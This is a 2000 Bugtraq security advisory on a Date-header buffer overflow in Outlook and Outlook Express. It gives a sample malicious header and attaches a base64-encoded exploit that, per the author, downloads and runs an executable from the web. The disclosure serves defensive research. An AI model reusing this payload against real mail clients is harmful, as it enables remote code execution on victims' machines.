[15836] in bugtraq

home help back first fref pref prev next nref lref last post

Buffer Overflow in MS Outlook Email Clients

daemon@ATHENA.MIT.EDU (Aaron Drew)
Tue Jul 18 17:13:07 2000

MIME-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_000E_01BFDA29.4AC67E60"
Message-ID:  <200007180825.SAA29093@rip.rip.org>
Date:         Wed, 19 Jul 2000 20:02:27 +1000
Reply-To: Aaron Drew <ripper@HOTKEY.NET.AU>
From: Aaron Drew <ripper@HOTKEY.NET.AU>
To: BUGTRAQ@SECURITYFOCUS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_000E_01BFDA29.4AC67E60
Content-Type: text/plain;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

_______________________________________________________________

Security Advisory: Buffer Overflow in MS Outlook & Outlook Express Email Clients

Date: 			18th July 2000
Author:			Aaron Drew (mailto:ripper@wollongong.hotkey.net.au)
Versions Affected: 	MS Outlook 97/2000 and MS Outlook Express 4/5

_______________________________________________________________

A bug in a shared component of Microsoft Outlook and Outlook Express mail
clients can allow a remote user to write arbitrary data to the stack. This
bug has been found to exist in all versions of MS Outlook and Outlook
Express on both Windows 95/98 and Windows NT 4.

The vulnerability lies in the parsing of the GMT section of the date field
in the header of an email. Bound checking on the token representing the GMT
is not properly handled. This bug can be witnessed by opening an email with
an exceptionally long string directly preceding the GMT specification in
the Date header field such as:

Date: Fri, 13 July 2000 14:16:06 +1000xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

The bug lies in the shared library INETCOMM.DLL and has been successfully
exploited on Windows 95, 98 and NT with both Outlook and Outlook Express.

The execution of this code is performed differently under each client. Under
Outlook Express, the buffer overflow occurs as soon as the user tries to
view the mail folder containing email with a malicious date header. Under
Microsoft Outlook, the overflow occurs when attempting to preview, read,
reply or forward any email with a malicious date header. Under MS Outlook a
user may delete or save an email to disk without exploitation.

Whilst some mail transport systems seem to modify 8-bit header data or lines
over 70 characters in length preventing direct exploitation, these
restrictions seem to be avoided by encoding a message with an exploit date
field as a MIME attachment in a Outlook's MIME attached message format.
These messages also overflow the stack when read, previewed, replied to or
forwarded.

Microsoft was notified of this bug on July 3.

Attached is a proof-of-point exploit that, when placed in the header
field of a message or MIME attached message, will download and execute
an executable from the web. (In this particular case it will launch MS Freecell)

_______________________________________________________________

DISCLAIMER

The information within this document may change without notice. Use of
this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any consequences whatsoever
arising out of or in connection with the use or spread of this
information. Any use of this information lays within the user's
responsibility.

_______________________________________________________________

------=_NextPart_000_000E_01BFDA29.4AC67E60
Content-Type: text/plain
Content-Transfer-Encoding: base64
Content-Disposition: attachment

RGF0ZTogU3VuLCA3IE1heSAyMDAwIDExOjIwOjQ2ICsxMDAwkJCQkJCQkJCQ
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQNt3D
XpCQkJCQkJCQAUDHXgXDDICQkJCLxC1x/v//i+yQkJCQM8mxoUiAMIDi+pCL
6JC+mBLAXlBQ/xaL8IvdM+2Qi/tmge9//vwzyYDp+5BDMsDXhMB1+ENRU1b/
FZQSwF6rWeLqQzLA14TAdfhDU/8VmBLAXovwM8mD6fxDMsDXhMB1+ENRU1b/
FZQSwF6rWeLqkDPAZkjR4JAz0lBS/1fsi/Az0lJSUlJS/1fwM9JSUlJSi9eB
wtz+//+QUlD/V/hXM9JmStHiUlZQ/1f8kJCQM9JSi9eBwvb+//9S/1fc/zdW
UIvY/1fgU/9X5JAz0kJSi9eBwvb+//+QUv9X6FD/FawRwF6QkJCQkJCQkJCQ
kMvF0s7FzLOygN/s4/Ll4fSA3+z38un05YDf7OPs7/PlgNfp7sX45eOAx+zv
4uHswezs7+OA18nOyc7F1IDJ7vTl8u7l9M/w5e7BgMnu9OXy7uX0w+zv8+XI
4e7k7OWAye705fLu5fTP8OXu1fLswYDJ7vTl8u7l9NLl4eTG6ezlgOj09PC6
r6+xubKusba4rrCwsa6wsbCv9OXz9K7l+OWAkJCQkJCQkJCQkAo=
====

------=_NextPart_000_000E_01BFDA29.4AC67E60--

home help back first fref pref prev next nref lref last post